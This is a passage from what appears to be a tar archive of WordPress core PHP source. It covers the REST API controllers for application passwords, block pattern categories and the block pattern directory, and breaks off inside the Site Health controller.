	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_edit_application_password',
				__( 'Sorry, you are not allowed to edit this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates an application password.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$item = $this->get_application_password( $request );

		if ( is_wp_error( $item ) ) {
			return $item;
		}

		$prepared = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared ) ) {
			return $prepared;
		}

		$saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) );

		if ( is_wp_error( $saved ) ) {
			return $saved;
		}

		$fields_update = $this->update_additional_fields_for_object( $item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */
		do_action( 'rest_after_insert_application_password', $item, $request, false );

		$request->set_param( 'context', 'edit' );
		return $this->prepare_item_for_response( $item, $request );
	}

	/**
	 * Checks if a given request has access to delete all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_items_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_passwords',
				__( 'Sorry, you are not allowed to delete application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes all application passwords for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_items( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted' => true,
				'count'   => $deleted,
			)
		);
	}

	/**
	 * Checks if a given request has access to delete a specific application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_application_password',
				__( 'Sorry, you are not allowed to delete this application password.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Deletes an application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = $this->get_application_password( $request );

		if ( is_wp_error( $password ) ) {
			return $password;
		}

		$request->set_param( 'context', 'edit' );
		$previous = $this->prepare_item_for_response( $password, $request );
		$deleted  = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] );

		if ( is_wp_error( $deleted ) ) {
			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);
	}

	/**
	 * Checks if a given request has access to get the currently used application password for a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_current_item_permissions_check( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( get_current_user_id() !== $user->ID ) {
			return new WP_Error(
				'rest_cannot_introspect_app_password_for_non_authenticated_user',
				__( 'The authenticated application password can only be introspected for the current user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the application password being currently used for authentication of a user.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$uuid = rest_get_authenticated_app_password();

		if ( ! $uuid ) {
			return new WP_Error(
				'rest_no_authenticated_app_password',
				__( 'Cannot introspect application password.' ),
				array( 'status' => 404 )
			);
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 500 )
			);
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Performs a permissions check for the request.
	 *
	 * @since 5.6.0
	 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0.
	 *
	 * @param WP_REST_Request $request
	 * @return true|WP_Error
	 */
	protected function do_permissions_check( $request ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_manage_application_passwords',
				__( 'Sorry, you are not allowed to manage application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares an application password for a create or update operation.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared = (object) array(
			'name' => $request['name'],
		);

		if ( $request['app_id'] && ! $request['uuid'] ) {
			$prepared->app_id = $request['app_id'];
		}

		/**
		 * Filters an application password before it is inserted via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param stdClass        $prepared An object representing a single application password prepared for inserting or updating the database.
		 * @param WP_REST_Request $request  Request object.
		 */
		return apply_filters( 'rest_pre_insert_application_password', $prepared, $request );
	}

	/**
	 * Prepares the application password for the REST response.
	 *
	 * @since 5.6.0
	 *
	 * @param array           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$fields = $this->get_fields_for_response( $request );

		$prepared = array(
			'uuid'      => $item['uuid'],
			'app_id'    => empty( $item['app_id'] ) ? '' : $item['app_id'],
			'name'      => $item['name'],
			'created'   => gmdate( 'Y-m-d\TH:i:s', $item['created'] ),
			'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null,
			'last_ip'   => $item['last_ip'] ? $item['last_ip'] : null,
		);

		if ( isset( $item['new_password'] ) ) {
			$prepared['password'] = $item['new_password'];
		}

		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $request['context'] );

		$response = new WP_REST_Response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user, $item ) );
		}

		/**
		 * Filters the REST API response for an application password.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The application password array.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_application_password', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_User $user The requested user.
	 * @param array   $item The application password.
	 * @return array The list of links.
	 */
	protected function prepare_links( WP_User $user, $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/users/%d/application-passwords/%s',
						$this->namespace,
						$user->ID,
						$item['uuid']
					)
				),
			),
		);
	}

	/**
	 * Gets the requested user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found.
	 */
	protected function get_user( $request ) {
		if ( ! wp_is_application_passwords_available() ) {
			return new WP_Error(
				'application_passwords_disabled',
				__( 'Application passwords are not available.' ),
				array( 'status' => 501 )
			);
		}

		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		$id = $request['user_id'];

		if ( 'me' === $id ) {
			if ( ! is_user_logged_in() ) {
				return new WP_Error(
					'rest_not_logged_in',
					__( 'You are not currently logged in.' ),
					array( 'status' => 401 )
				);
			}

			$user = wp_get_current_user();
		} else {
			$id = (int) $id;

			if ( $id <= 0 ) {
				return $error;
			}

			$user = get_userdata( $id );
		}

		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
			return new WP_Error(
				'application_passwords_disabled_for_user',
				__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ),
				array( 'status' => 501 )
			);
		}

		return $user;
	}

	/**
	 * Gets the requested application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The application password details if found, a WP_Error otherwise.
	 */
	protected function get_application_password( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 404 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.6.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

	/**
	 * Retrieves the application password's schema, conforming to JSON Schema.
	 *
	 * @since 5.6.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'application-password',
			'type'       => 'object',
			'properties' => array(
				'uuid'      => array(
					'description' => __( 'The unique identifier for the application password.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'app_id'    => array(
					'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ),
					'type'        => 'string',
					'oneOf'       => array(
						array(
							'type'   => 'string',
							'format' => 'uuid',
						),
						array(
							'type' => 'string',
							'enum' => array( '' ),
						),
					),
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'      => array(
					'description' => __( 'The name of the application password.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'minLength'   => 1,
					'pattern'     => '.*\S.*',
				),
				'password'  => array(
					'description' => __( 'The generated password. Only available after adding an application.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'created'   => array(
					'description' => __( 'The GMT date the application password was created.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_used' => array(
					'description' => __( 'The GMT date the application password was last used.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_ip'   => array(
					'description' => __( 'The IP address the application password was last used by.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'ip',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-block-pattern-categories-controller.php000066600000011316152442706000021041 0ustar00<?php
/**
 * REST API: WP_REST_Block_Pattern_Categories_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block pattern categories via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Pattern_Categories_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/categories';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block pattern categories.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block pattern categories.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response   = array();
		$categories = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered();
		foreach ( $categories as $category ) {
			$prepared_category = $this->prepare_item_for_response( $category, $request );
			$response[]        = $this->prepare_response_for_collection( $prepared_category );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Prepare a raw block pattern category before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 *
	 * @param array           $item    Raw category as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$keys   = array( 'name', 'label', 'description' );
		$data   = array();
		foreach ( $keys as $key ) {
			if ( isset( $item[ $key ] ) && rest_is_field_included( $key, $fields ) ) {
				$data[ $key ] = $item[ $key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern category schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern-category',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The category name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'label'       => array(
					'description' => __( 'The category label, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description' => array(
					'description' => __( 'The category description, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-pattern-directory-controller.php000066600000031215152442706000017630 0ustar00<?php
/**
 * Block Pattern Directory REST API: WP_REST_Pattern_Directory_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Controller which provides REST endpoint for block patterns.
 *
 * This simply proxies the endpoint at http://api.wordpress.org/patterns/1.0/. That isn't necessary for
 * functionality, but is desired for privacy. It prevents api.wordpress.org from knowing the user's IP address.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Pattern_Directory_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'pattern-directory';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/patterns',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to view the local block pattern directory.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has permission, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_pattern_directory_cannot_view',
			__( 'Sorry, you are not allowed to browse the local block pattern directory.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Search and retrieve block patterns metadata
	 *
	 * @since 5.8.0
	 * @since 6.0.0 Added 'slug' to request.
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$valid_query_args = array(
			'offset'   => true,
			'order'    => true,
			'orderby'  => true,
			'page'     => true,
			'per_page' => true,
			'search'   => true,
			'slug'     => true,
		);
		$query_args       = array_intersect_key( $request->get_params(), $valid_query_args );

		$query_args['locale']             = get_user_locale();
		$query_args['wp-version']         = wp_get_wp_version();
		$query_args['pattern-categories'] = isset( $request['category'] ) ? $request['category'] : false;
		$query_args['pattern-keywords']   = isset( $request['keyword'] ) ? $request['keyword'] : false;

		$query_args = array_filter( $query_args );

		$transient_key = $this->get_transient_key( $query_args );

		/*
		 * Use network-wide transient to improve performance. The locale is the only site
		 * configuration that affects the response, and it's included in the transient key.
		 */
		$raw_patterns = get_site_transient( $transient_key );

		if ( ! $raw_patterns ) {
			$api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args );
			if ( wp_http_supports( array( 'ssl' ) ) ) {
				$api_url = set_url_scheme( $api_url, 'https' );
			}

			/*
			 * Default to a short TTL, to mitigate cache stampedes on high-traffic sites.
			 * This assumes that most errors will be short-lived, e.g., packet loss that causes the
			 * first request to fail, but a follow-up one will succeed. The value should be high
			 * enough to avoid stampedes, but low enough to not interfere with users manually
			 * re-trying a failed request.
			 */
			$cache_ttl      = 5;
			$wporg_response = wp_remote_get( $api_url );
			$raw_patterns   = json_decode( wp_remote_retrieve_body( $wporg_response ) );

			if ( is_wp_error( $wporg_response ) ) {
				$raw_patterns = $wporg_response;

			} elseif ( ! is_array( $raw_patterns ) ) {
				// HTTP request succeeded, but response data is invalid.
				$raw_patterns = new WP_Error(
					'pattern_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					array(
						'response' => wp_remote_retrieve_body( $wporg_response ),
					)
				);

			} else {
				// Response has valid data.
				$cache_ttl = HOUR_IN_SECONDS;
			}

			set_site_transient( $transient_key, $raw_patterns, $cache_ttl );
		}

		if ( is_wp_error( $raw_patterns ) ) {
			$raw_patterns->add_data( array( 'status' => 500 ) );

			return $raw_patterns;
		}

		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$response = array();

		if ( $raw_patterns ) {
			foreach ( $raw_patterns as $pattern ) {
				$response[] = $this->prepare_response_for_collection(
					$this->prepare_item_for_response( $pattern, $request )
				);
			}
		}

		return new WP_REST_Response( $response );
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object          $item    Raw pattern from api.wordpress.org, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$raw_pattern = $item;

		$prepared_pattern = array(
			'id'             => absint( $raw_pattern->id ),
			'title'          => sanitize_text_field( $raw_pattern->title->rendered ),
			'content'        => wp_kses_post( $raw_pattern->pattern_content ),
			'categories'     => array_map( 'sanitize_title', $raw_pattern->category_slugs ),
			'keywords'       => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ),
			'description'    => sanitize_text_field( $raw_pattern->meta->wpop_description ),
			'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ),
			'block_types'    => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ),
		);

		$prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request );

		$response = new WP_REST_Response( $prepared_pattern );

		/**
		 * Filters the REST API response for a block pattern.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param object           $raw_pattern The unprepared block pattern.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request );
	}

	/**
	 * Retrieves the block pattern's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added `'block_types'` to schema.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'pattern-directory-item',
			'type'       => 'object',
			'properties' => array(
				'id'             => array(
					'description' => __( 'The pattern ID.' ),
					'type'        => 'integer',
					'minimum'     => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'categories'     => array(
					'description' => __( "The pattern's category slugs." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'keywords'       => array(
					'description' => __( "The pattern's keywords." ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'description'    => array(
					'description' => __( 'A description of the pattern.' ),
					'type'        => 'string',
					'minLength'   => 1,
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'viewport_width' => array(
					'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),

				'block_types'    => array(
					'description' => __( 'The block types which can use this pattern.' ),
					'type'        => 'array',
					'uniqueItems' => true,
					'items'       => array( 'type' => 'string' ),
					'context'     => array( 'view', 'embed' ),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the search parameters for the block pattern's collection.
	 *
	 * @since 5.8.0
	 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['per_page']['default'] = 100;
		$query_params['search']['minLength'] = 1;
		$query_params['context']['default']  = 'view';

		$query_params['category'] = array(
			'description' => __( 'Limit results to those matching a category ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['keyword'] = array(
			'description' => __( 'Limit results to those matching a keyword ID.' ),
			'type'        => 'integer',
			'minimum'     => 1,
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit results to those matching a pattern (slug).' ),
			'type'        => 'array',
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
				'favorite_count',
			),
		);

		/**
		 * Filter collection parameters for the block pattern directory controller.
		 *
		 * @since 5.8.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_pattern_directory_collection_params', $query_params );
	}

	/**
	 * Include a hash of the query args, so that different requests are stored in
	 * separate caches.
	 *
	 * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay
	 * under the character limit for `_site_transient_timeout_{...}` keys.
	 *
	 * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses
	 *
	 * @since 6.0.0
	 *
	 * @param array $query_args Query arguments to generate a transient key from.
	 * @return string Transient key.
	 */
	protected function get_transient_key( $query_args ) {

		if ( isset( $query_args['slug'] ) ) {
			// This is an additional precaution because the "sort" function expects an array.
			$query_args['slug'] = wp_parse_list( $query_args['slug'] );

			// Empty arrays should not affect the transient key.
			if ( empty( $query_args['slug'] ) ) {
				unset( $query_args['slug'] );
			} else {
				// Sort the array so that the transient key doesn't depend on the order of slugs.
				sort( $query_args['slug'] );
			}
		}

		return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) );
	}
}
endpoints/class-wp-rest-site-health-controller.php000066600000023154152442706000016363 0ustar00<?php
/**
 * REST API: WP_REST_Site_Health_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.6.0
 */

/**
 * Core class for interacting with Site Health tests.
 *
 * @since 5.6.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Site_Health_Controller extends WP_REST_Controller {

	/**
	 * An instance of the site health class.
	 *
	 * @since 5.6.0
	 *
	 * @var WP_Site_Health
	 */
	private $site_health;

	/**
	 * Site Health controller constructor.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Site_Health $site_health An instance of the site health class.
	 */
	public function __construct( $site_health ) {
		$this->namespace = 'wp-site-health/v1';
		$this->rest_base = 'tests';

		$this->site_health = $site_health;
	}

	/**
	 * Registers API routes.
	 *
	 * @since 5.6.0
	 * @since 6.1.0 Adds page-cache async test.
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'background-updates'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_background_updates' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'background_updates' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'loopback-requests'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_loopback_requests' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'loopback_requests' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'https-status'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_https_status' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'https_status' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
				$this->rest_base,
				'dotorg-communication'
			),
			array(
				array(
					'methods'             => 'GET',
					'callback'            => array( $this, 'test_dotorg_communication' ),
					'permission_callback' => function () {
						return $this->validate_request_permission( 'dotorg_communication' );
					},
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf(
				'/%s/%s',
